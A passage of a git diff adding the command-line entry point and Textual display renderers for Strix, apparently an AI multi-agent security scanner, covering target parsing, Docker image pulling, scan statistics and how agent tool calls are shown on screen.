{"target_url": target} + + path = Path(target) + try: + if path.exists(): + if path.is_dir(): + return "local_code", {"target_path": str(path.absolute())} + raise ValueError(f"Path exists but is not a directory: {target}") + except (OSError, RuntimeError) as e: + raise ValueError(f"Invalid path: {target} - {e!s}") from e + + if target.startswith("git@") or target.endswith(".git"): + return "repository", {"target_repo": target} + + if "." in target and "/" not in target and not target.startswith("."): + parts = target.split(".") + if len(parts) >= 2 and all(p and p.strip() for p in parts): + return "web_application", {"target_url": f"https://{target}"} + + raise ValueError( + f"Invalid target: {target}\n" + "Target must be one of:\n" + "- A valid URL (http:// or https://)\n" + "- A Git repository URL (https://github.com/... or git@github.com:...)\n" + "- A local directory path\n" + "- A domain name (e.g., example.com)" + ) + + +def parse_arguments() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Strix Multi-Agent Cybersecurity Scanner", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Web application scan + strix --target https://example.com + + # GitHub repository analysis + strix --target https://github.com/user/repo + strix --target git@github.com:user/repo.git + + # Local code analysis + strix --target ./my-project + + # Domain scan + strix --target example.com + + # Custom instructions + strix --target example.com --instruction "Focus on authentication vulnerabilities" + """, + ) + + parser.add_argument( + "--target", + type=str, + required=True, + help="Target to scan (URL, repository, local directory path, or domain name)", + ) + parser.add_argument( + "--instruction", + type=str, + help="Custom instructions for the scan. This can be " + "specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), " + "testing approaches (e.g., 'Perform thorough authentication testing'), " + "test credentials (e.g., 'Use the following credentials to access the app: " + "admin:password123'), " + "or areas of interest (e.g., 'Check login API endpoint for security issues')", + ) + + parser.add_argument( + "--run-name", + type=str, + help="Custom name for this scan run", + ) + + args = parser.parse_args() + + try: + args.target_type, args.target_dict = infer_target_type(args.target) + except ValueError as e: + parser.error(str(e)) + + return args + + +def _build_stats_text(tracer: Any) -> Text: + stats_text = Text() + if not tracer: + return stats_text + + vuln_count = len(tracer.vulnerability_reports) + tool_count = tracer.get_real_tool_count() + agent_count = len(tracer.agents) + + if vuln_count > 0: + stats_text.append("🔍 Vulnerabilities Found: ", style="bold red") + stats_text.append(str(vuln_count), style="bold yellow") + stats_text.append(" • ", style="dim white") + + stats_text.append("🤖 Agents Used: ", style="bold cyan") + stats_text.append(str(agent_count), style="bold white") + stats_text.append(" • ", style="dim white") + stats_text.append("🛠️ Tools Called: ", style="bold cyan") + stats_text.append(str(tool_count), style="bold white") + + return stats_text + + +def _build_llm_stats_text(tracer: Any) -> Text: + llm_stats_text = Text() + if not tracer: + return llm_stats_text + + llm_stats = tracer.get_total_llm_stats() + total_stats = llm_stats["total"] + + if total_stats["requests"] > 0: + llm_stats_text.append("📥 Input Tokens: ", style="bold cyan") + llm_stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white") + + if total_stats["cached_tokens"] > 0: + llm_stats_text.append(" • ", style="dim white") + llm_stats_text.append("⚡ Cached: ", style="bold green") + llm_stats_text.append( + format_token_count(total_stats["cached_tokens"]), style="bold green" + ) + + llm_stats_text.append(" • ", style="dim white") + llm_stats_text.append("📤 Output Tokens: ", style="bold cyan") + llm_stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white") + + if total_stats["cost"] > 0: + llm_stats_text.append(" • ", style="dim white") + llm_stats_text.append("💰 Total Cost: $", style="bold cyan") + llm_stats_text.append(f"{total_stats['cost']:.4f}", style="bold yellow") + + return llm_stats_text + + +def display_completion_message(args: argparse.Namespace, results_path: Path) -> None: + console = Console() + tracer = get_global_tracer() + + target_value = next(iter(args.target_dict.values())) if args.target_dict else args.target + + completion_text = Text() + completion_text.append("🦉 ", style="bold white") + completion_text.append("AGENT FINISHED", style="bold green") + completion_text.append(" • ", style="dim white") + completion_text.append("Security assessment completed", style="white") + + stats_text = _build_stats_text(tracer) + + llm_stats_text = _build_llm_stats_text(tracer) + + target_text = Text() + target_text.append("🎯 Target: ", style="bold cyan") + target_text.append(str(target_value), style="bold white") + + results_text = Text() + results_text.append("📊 Results Saved To: ", style="bold cyan") + results_text.append(str(results_path), style="bold yellow") + + if stats_text.plain: + if llm_stats_text.plain: + panel_content = Text.assemble( + completion_text, + "\n\n", + target_text, + "\n", + stats_text, + "\n", + llm_stats_text, + "\n", + results_text, + ) + else: + panel_content = Text.assemble( + completion_text, "\n\n", target_text, "\n", stats_text, "\n", results_text + ) + elif llm_stats_text.plain: + panel_content = Text.assemble( + completion_text, "\n\n", target_text, "\n", llm_stats_text, "\n", results_text + ) + else: + panel_content = Text.assemble(completion_text, "\n\n", target_text, "\n", results_text) + + panel = Panel( + panel_content, + title="[bold green]🛡️ STRIX CYBERSECURITY AGENT", + title_align="center", + border_style="green", + padding=(1, 2), + ) + + console.print("\n") + console.print(panel) + console.print() + + +def _check_docker_connection() -> Any: + try: + return docker.from_env() + except DockerException: + console = Console() + error_text = Text() + error_text.append("❌ ", style="bold red") + error_text.append("DOCKER NOT AVAILABLE", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("Cannot connect to Docker daemon.\n", style="white") + error_text.append("Please ensure Docker is installed and running.\n\n", style="white") + error_text.append("Try running: ", style="dim white") + error_text.append("sudo systemctl start docker", style="dim cyan") + + panel = Panel( + error_text, + title="[bold red]🛡️ STRIX STARTUP ERROR", + title_align="center", + border_style="red", + padding=(1, 2), + ) + console.print("\n", panel, "\n") + sys.exit(1) + + +def _image_exists(client: Any) -> bool: + try: + client.images.get(STRIX_IMAGE) + except docker.errors.ImageNotFound: + return False + else: + return True + + +def _update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None: + if "Pull complete" in layer_status or "Already exists" in layer_status: + layers_info[layer_id] = "✓" + elif "Downloading" in layer_status: + layers_info[layer_id] = "↓" + elif "Extracting" in layer_status: + layers_info[layer_id] = "📦" + elif "Waiting" in layer_status: + layers_info[layer_id] = "⏳" + else: + layers_info[layer_id] = "•" + + +def _process_pull_line( + line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str +) -> str: + if "id" in line and "status" in line: + layer_id = line["id"] + _update_layer_status(layers_info, layer_id, line["status"]) + + completed = sum(1 for v in layers_info.values() if v == "✓") + total = len(layers_info) + + if total > 0: + update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete" + if update_msg != last_update: + status.update(update_msg) + return update_msg + + elif "status" in line and "id" not in line: + global_status = line["status"] + if "Pulling from" in global_status: + status.update("[bold cyan]Fetching image manifest...") + elif "Digest:" in global_status: + status.update("[bold cyan]Verifying image...") + elif "Status:" in global_status: + status.update("[bold cyan]Finalizing...") + + return last_update + + +def pull_docker_image() -> None: + console = Console() + client = _check_docker_connection() + + if _image_exists(client): + return + + console.print() + console.print(f"[bold cyan]🐳 Pulling Docker image:[/bold cyan] {STRIX_IMAGE}") + console.print( + "[dim yellow]This only happens on first run and may take a few minutes...[/dim yellow]" + ) + console.print() + + with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status: + try: + layers_info: dict[str, str] = {} + last_update = "" + + for line in client.api.pull(STRIX_IMAGE, stream=True, decode=True): + last_update = _process_pull_line(line, layers_info, status, last_update) + + except DockerException as e: + console.print() + error_text = Text() + error_text.append("❌ ", style="bold red") + error_text.append("FAILED TO PULL IMAGE", style="bold red") + error_text.append("\n\n", style="white") + error_text.append(f"Could not download: {STRIX_IMAGE}\n", style="white") + error_text.append(str(e), style="dim red") + + panel = Panel( + error_text, + title="[bold red]🛡️ DOCKER PULL ERROR", + title_align="center", + border_style="red", + padding=(1, 2), + ) + console.print(panel, "\n") + sys.exit(1) + + success_text = Text() + success_text.append("✅ ", style="bold green") + success_text.append("Successfully pulled Docker image", style="green") + console.print(success_text) + console.print() + + +def main() -> None: + if sys.platform == "win32": + asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) + + pull_docker_image() + + validate_environment() + asyncio.run(warm_up_llm()) + + args = parse_arguments() + if not args.run_name: + args.run_name = generate_run_name() + + asyncio.run(run_strix_cli(args)) + + results_path = Path("agent_runs") / args.run_name + display_completion_message(args, results_path) + + +if __name__ == "__main__": + main() diff --git a/strix/cli/tool_components/__init__.py b/strix/cli/tool_components/__init__.py new file mode 100644 index 0000000..5e12d71 --- /dev/null +++ b/strix/cli/tool_components/__init__.py @@ -0,0 +1,39 @@ +from . import ( + agents_graph_renderer, + browser_renderer, + file_edit_renderer, + finish_renderer, + notes_renderer, + proxy_renderer, + python_renderer, + reporting_renderer, + scan_info_renderer, + terminal_renderer, + thinking_renderer, + user_message_renderer, + web_search_renderer, +) +from .base_renderer import BaseToolRenderer +from .registry import ToolTUIRegistry, get_tool_renderer, register_tool_renderer, render_tool_widget + + +__all__ = [ + "BaseToolRenderer", + "ToolTUIRegistry", + "agents_graph_renderer", + "browser_renderer", + "file_edit_renderer", + "finish_renderer", + "get_tool_renderer", + "notes_renderer", + "proxy_renderer", + "python_renderer", + "register_tool_renderer", + "render_tool_widget", + "reporting_renderer", + "scan_info_renderer", + "terminal_renderer", + "thinking_renderer", + "user_message_renderer", + "web_search_renderer", +] diff --git a/strix/cli/tool_components/agents_graph_renderer.py b/strix/cli/tool_components/agents_graph_renderer.py new file mode 100644 index 0000000..df64447 --- /dev/null +++ b/strix/cli/tool_components/agents_graph_renderer.py @@ -0,0 +1,129 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class ViewAgentGraphRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_agent_graph" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 + content_text = "🕸️ [bold #fbbf24]Viewing agents graph[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class CreateAgentRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_agent" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + task = args.get("task", "") + name = args.get("name", "Agent") + + header = f"🤖 [bold #fbbf24]Creating {name}[/]" + + if task: + task_display = task[:400] + "..." if len(task) > 400 else task + content_text = f"{header}\n [dim]{cls.escape_markup(task_display)}[/]" + else: + content_text = f"{header}\n [dim]Spawning agent...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class SendMessageToAgentRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "send_message_to_agent" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + message = args.get("message", "") + + header = "💬 [bold #fbbf24]Sending message[/]" + + if message: + message_display = message[:400] + "..." if len(message) > 400 else message + content_text = f"{header}\n [dim]{cls.escape_markup(message_display)}[/]" + else: + content_text = f"{header}\n [dim]Sending...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class AgentFinishRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "agent_finish" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + result_summary = args.get("result_summary", "") + findings = args.get("findings", []) + success = args.get("success", True) + + header = ( + "🏁 [bold #fbbf24]Agent completed[/]" if success else "🏁 [bold #fbbf24]Agent failed[/]" + ) + + if result_summary: + summary_display = ( + result_summary[:400] + "..." if len(result_summary) > 400 else result_summary + ) + content_parts = [f"{header}\n [bold]{cls.escape_markup(summary_display)}[/]"] + + if findings and isinstance(findings, list): + finding_lines = [f"• {finding}" for finding in findings[:3]] + if len(findings) > 3: + finding_lines.append(f"• ... +{len(findings) - 3} more findings") + + content_parts.append( + f" [dim]{chr(10).join([cls.escape_markup(line) for line in finding_lines])}[/]" + ) + + content_text = "\n".join(content_parts) + else: + content_text = f"{header}\n [dim]Completing task...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class WaitForMessageRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "wait_for_message" + css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + reason = args.get("reason", "Waiting for messages from other agents or user input") + + header = "⏸️ [bold #fbbf24]Waiting for messages[/]" + + if reason: + reason_display = reason[:400] + "..." if len(reason) > 400 else reason + content_text = f"{header}\n [dim]{cls.escape_markup(reason_display)}[/]" + else: + content_text = f"{header}\n [dim]Agent paused until message received...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/base_renderer.py b/strix/cli/tool_components/base_renderer.py new file mode 100644 index 0000000..c8a7425 --- /dev/null +++ b/strix/cli/tool_components/base_renderer.py @@ -0,0 +1,61 @@ +from abc import ABC, abstractmethod +from typing import Any, ClassVar + +from textual.widgets import Static + + +class BaseToolRenderer(ABC): + tool_name: ClassVar[str] = "" + + css_classes: ClassVar[list[str]] = ["tool-call"] + + @classmethod + @abstractmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + pass + + @classmethod + def escape_markup(cls, text: str) -> str: + return text.replace("[", "\\[").replace("]", "\\]") + + @classmethod + def format_args(cls, args: dict[str, Any], max_length: int = 500) -> str: + if not args: + return "" + + args_parts = [] + for k, v in args.items(): + str_v = str(v) + if len(str_v) > max_length: + str_v = str_v[: max_length - 3] + "..." + args_parts.append(f" [dim]{k}:[/] {cls.escape_markup(str_v)}") + return "\n".join(args_parts) + + @classmethod + def format_result(cls, result: Any, max_length: int = 1000) -> str: + if result is None: + return "" + + str_result = str(result).strip() + if not str_result: + return "" + + if len(str_result) > max_length: + str_result = str_result[: max_length - 3] + "..." + return cls.escape_markup(str_result) + + @classmethod + def get_status_icon(cls, status: str) -> str: + status_icons = { + "running": "[#f59e0b]●[/#f59e0b] In progress...", + "completed": "[#22c55e]✓[/#22c55e] Done", + "failed": "[#dc2626]✗[/#dc2626] Failed", + "error": "[#dc2626]✗[/#dc2626] Error", + } + return status_icons.get(status, "[dim]○[/dim] Unknown") + + @classmethod + def get_css_classes(cls, status: str) -> str: + base_classes = cls.css_classes.copy() + base_classes.append(f"status-{status}") + return " ".join(base_classes) diff --git a/strix/cli/tool_components/browser_renderer.py b/strix/cli/tool_components/browser_renderer.py new file mode 100644 index 0000000..e1b6afb --- /dev/null +++ b/strix/cli/tool_components/browser_renderer.py @@ -0,0 +1,107 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class BrowserRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "browser_action" + css_classes: ClassVar[list[str]] = ["tool-call", "browser-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + + action = args.get("action", "unknown") + + content = cls._build_sleek_content(action, args) + + css_classes = cls.get_css_classes(status) + return Static(content, classes=css_classes) + + @classmethod + def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: + browser_icon = "🌐" + + url = args.get("url") + text = args.get("text") + js_code = args.get("js_code") + + if action in [ + "launch", + "goto", + "new_tab", + "type", + "execute_js", + "click", + "double_click", + "hover", + ]: + if action == "launch": + display_url = cls._format_url(url) if url else None + message = ( + f"launching {display_url} on browser" if display_url else "launching browser" + ) + elif action == "goto": + display_url = cls._format_url(url) if url else None + message = f"navigating to {display_url}" if display_url else "navigating" + elif action == "new_tab": + display_url = cls._format_url(url) if url else None + message = f"opening tab {display_url}" if display_url else "opening tab" + elif action == "type": + display_text = cls._format_text(text) if text else None + message = f"typing {display_text}" if display_text else "typing" + elif action == "execute_js": + display_js = cls._format_js(js_code) if js_code else None + message = ( + f"executing javascript\n{display_js}" if display_js else "executing javascript" + ) + else: + action_words = { + "click": "clicking", + "double_click": "double clicking", + "hover": "hovering", + } + message = action_words[action] + + return f"{browser_icon} [#06b6d4]{message}[/]" + + simple_actions = { + "back": "going back in browser history", + "forward": "going forward in browser history", + "refresh": "refreshing browser tab", + "close_tab": "closing browser tab", + "switch_tab": "switching browser tab", + "list_tabs": "listing browser tabs", + "view_source": "viewing page source", + "screenshot": "taking screenshot of browser tab", + "wait": "waiting...", + "close": "closing browser", + } + + if action in simple_actions: + return f"{browser_icon} [#06b6d4]{simple_actions[action]}[/]" + + return f"{browser_icon} [#06b6d4]{action}[/]" + + @classmethod + def _format_url(cls, url: str) -> str: + if len(url) > 300: + url = url[:297] + "..." + return cls.escape_markup(url) + + @classmethod + def _format_text(cls, text: str) -> str: + if len(text) > 200: + text = text[:197] + "..." + return cls.escape_markup(text) + + @classmethod + def _format_js(cls, js_code: str) -> str: + if len(js_code) > 200: + js_code = js_code[:197] + "..." + return f"[white]{cls.escape_markup(js_code)}[/white]" diff --git a/strix/cli/tool_components/file_edit_renderer.py b/strix/cli/tool_components/file_edit_renderer.py new file mode 100644 index 0000000..bd6d5d1 --- /dev/null +++ b/strix/cli/tool_components/file_edit_renderer.py @@ -0,0 +1,95 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class StrReplaceEditorRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "str_replace_editor" + css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + + command = args.get("command", "") + path = args.get("path", "") + + if command == "view": + header = "📖 [bold #10b981]Reading file[/]" + elif command == "str_replace": + header = "✏️ [bold #10b981]Editing file[/]" + elif command == "create": + header = "📝 [bold #10b981]Creating file[/]" + else: + header = "📄 [bold #10b981]File operation[/]" + + if (result and isinstance(result, dict) and "content" in result) or path: + path_display = path[-60:] if len(path) > 60 else path + content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]" + else: + content_text = f"{header} [dim]Processing...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class ListFilesRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_files" + css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + path = args.get("path", "") + + header = "📂 [bold #10b981]Listing files[/]" + + if path: + path_display = path[-60:] if len(path) > 60 else path + content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]" + else: + content_text = f"{header} [dim]Current directory[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class SearchFilesRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "search_files" + css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + path = args.get("path", "") + regex = args.get("regex", "") + + header = "🔍 [bold purple]Searching files[/]" + + if path and regex: + path_display = path[-30:] if len(path) > 30 else path + regex_display = regex[:30] if len(regex) > 30 else regex + content_text = ( + f"{header} [dim]{cls.escape_markup(path_display)} for " + f"'{cls.escape_markup(regex_display)}'[/]" + ) + elif path: + path_display = path[-60:] if len(path) > 60 else path + content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]" + elif regex: + regex_display = regex[:60] if len(regex) > 60 else regex + content_text = f"{header} [dim]'{cls.escape_markup(regex_display)}'[/]" + else: + content_text = f"{header} [dim]Searching...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/finish_renderer.py b/strix/cli/tool_components/finish_renderer.py new file mode 100644 index 0000000..8609f74 --- /dev/null +++ b/strix/cli/tool_components/finish_renderer.py @@ -0,0 +1,32 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class FinishScanRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "finish_scan" + css_classes: ClassVar[list[str]] = ["tool-call", "finish-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + content = args.get("content", "") + success = args.get("success", True) + + header = ( + "🏁 [bold #dc2626]Finishing Scan[/]" if success else "🏁 [bold #dc2626]Scan Failed[/]" + ) + + if content: + content_display = content[:600] + "..." if len(content) > 600 else content + content_text = f"{header}\n [bold]{cls.escape_markup(content_display)}[/]" + else: + content_text = f"{header}\n [dim]Generating final report...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/notes_renderer.py b/strix/cli/tool_components/notes_renderer.py new file mode 100644 index 0000000..e121738 --- /dev/null +++ b/strix/cli/tool_components/notes_renderer.py @@ -0,0 +1,108 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class CreateNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + title = args.get("title", "") + content = args.get("content", "") + + header = "📝 [bold #fbbf24]Note[/]" + + if title: + title_display = title[:100] + "..." if len(title) > 100 else title + note_parts = [f"{header}\n [bold]{cls.escape_markup(title_display)}[/]"] + + if content: + content_display = content[:200] + "..." if len(content) > 200 else content + note_parts.append(f" [dim]{cls.escape_markup(content_display)}[/]") + + content_text = "\n".join(note_parts) + else: + content_text = f"{header}\n [dim]Creating note...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class DeleteNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "delete_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 + header = "🗑️ [bold #fbbf24]Delete Note[/]" + content_text = f"{header}\n [dim]Deleting...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class UpdateNoteRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "update_note" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + title = args.get("title", "") + content = args.get("content", "") + + header = "✏️ [bold #fbbf24]Update Note[/]" + + if title or content: + note_parts = [header] + + if title: + title_display = title[:100] + "..." if len(title) > 100 else title + note_parts.append(f" [bold]{cls.escape_markup(title_display)}[/]") + + if content: + content_display = content[:200] + "..." if len(content) > 200 else content + note_parts.append(f" [dim]{cls.escape_markup(content_display)}[/]") + + content_text = "\n".join(note_parts) + else: + content_text = f"{header}\n [dim]Updating...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class ListNotesRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_notes" + css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + header = "📋 [bold #fbbf24]Listing notes[/]" + + if result and isinstance(result, dict) and "notes" in result: + notes = result["notes"] + if isinstance(notes, list): + count = len(notes) + content_text = f"{header}\n [dim]{count} notes found[/]" + else: + content_text = f"{header}\n [dim]No notes found[/]" + else: + content_text = f"{header}\n [dim]Listing notes...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/proxy_renderer.py b/strix/cli/tool_components/proxy_renderer.py new file mode 100644 index 0000000..469e56b --- /dev/null +++ b/strix/cli/tool_components/proxy_renderer.py @@ -0,0 +1,255 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class ListRequestsRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_requests" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + + httpql_filter = args.get("httpql_filter") + + header = "📋 [bold #06b6d4]Listing requests[/]" + + if result and isinstance(result, dict) and "requests" in result: + requests = result["requests"] + if isinstance(requests, list) and requests: + request_lines = [] + for req in requests[:3]: + if isinstance(req, dict): + method = req.get("method", "?") + path = req.get("path", "?") + response = req.get("response") or {} + status = response.get("statusCode", "?") + line = f"{method} {path} → {status}" + request_lines.append(line) + + if len(requests) > 3: + request_lines.append(f"... +{len(requests) - 3} more") + + escaped_lines = [cls.escape_markup(line) for line in request_lines] + content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]" + else: + content_text = f"{header}\n [dim]No requests found[/]" + elif httpql_filter: + filter_display = ( + httpql_filter[:300] + "..." if len(httpql_filter) > 300 else httpql_filter + ) + content_text = f"{header}\n [dim]{cls.escape_markup(filter_display)}[/]" + else: + content_text = f"{header}\n [dim]All requests[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class ViewRequestRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_request" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + + part = args.get("part", "request") + + header = f"👀 [bold #06b6d4]Viewing {part}[/]" + + if result and isinstance(result, dict): + if "content" in result: + content = result["content"] + content_preview = content[:500] + "..." if len(content) > 500 else content + content_text = f"{header}\n [dim]{cls.escape_markup(content_preview)}[/]" + elif "matches" in result: + matches = result["matches"] + if isinstance(matches, list) and matches: + match_lines = [ + match["match"] + for match in matches[:3] + if isinstance(match, dict) and "match" in match + ] + if len(matches) > 3: + match_lines.append(f"... +{len(matches) - 3} more matches") + escaped_lines = [cls.escape_markup(line) for line in match_lines] + content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]" + else: + content_text = f"{header}\n [dim]No matches found[/]" + else: + content_text = f"{header}\n [dim]Viewing content...[/]" + else: + content_text = f"{header}\n [dim]Loading...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class SendRequestRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "send_request" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + + method = args.get("method", "GET") + url = args.get("url", "") + + header = f"📤 [bold #06b6d4]Sending {method}[/]" + + if result and isinstance(result, dict): + status_code = result.get("status_code") + response_body = result.get("body", "") + + if status_code: + response_preview = f"Status: {status_code}" + if response_body: + body_preview = ( + response_body[:300] + "..." if len(response_body) > 300 else response_body + ) + response_preview += f"\n{body_preview}" + content_text = f"{header}\n [dim]{cls.escape_markup(response_preview)}[/]" + else: + content_text = f"{header}\n [dim]Response received[/]" + elif url: + url_display = url[:400] + "..." if len(url) > 400 else url + content_text = f"{header}\n [dim]{cls.escape_markup(url_display)}[/]" + else: + content_text = f"{header}\n [dim]Sending...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class RepeatRequestRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "repeat_request" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + result = tool_data.get("result") + + modifications = args.get("modifications", {}) + + header = "🔄 [bold #06b6d4]Repeating request[/]" + + if result and isinstance(result, dict): + status_code = result.get("status_code") + response_body = result.get("body", "") + + if status_code: + response_preview = f"Status: {status_code}" + if response_body: + body_preview = ( + response_body[:300] + "..." if len(response_body) > 300 else response_body + ) + response_preview += f"\n{body_preview}" + content_text = f"{header}\n [dim]{cls.escape_markup(response_preview)}[/]" + else: + content_text = f"{header}\n [dim]Response received[/]" + elif modifications: + mod_text = str(modifications) + mod_display = mod_text[:400] + "..." if len(mod_text) > 400 else mod_text + content_text = f"{header}\n [dim]{cls.escape_markup(mod_display)}[/]" + else: + content_text = f"{header}\n [dim]No modifications[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class ScopeRulesRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "scope_rules" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 + header = "⚙️ [bold #06b6d4]Updating proxy scope[/]" + content_text = f"{header}\n [dim]Configuring...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class ListSitemapRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_sitemap" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + header = "🗺️ [bold #06b6d4]Listing sitemap[/]" + + if result and isinstance(result, dict) and "entries" in result: + entries = result["entries"] + if isinstance(entries, list) and entries: + entry_lines = 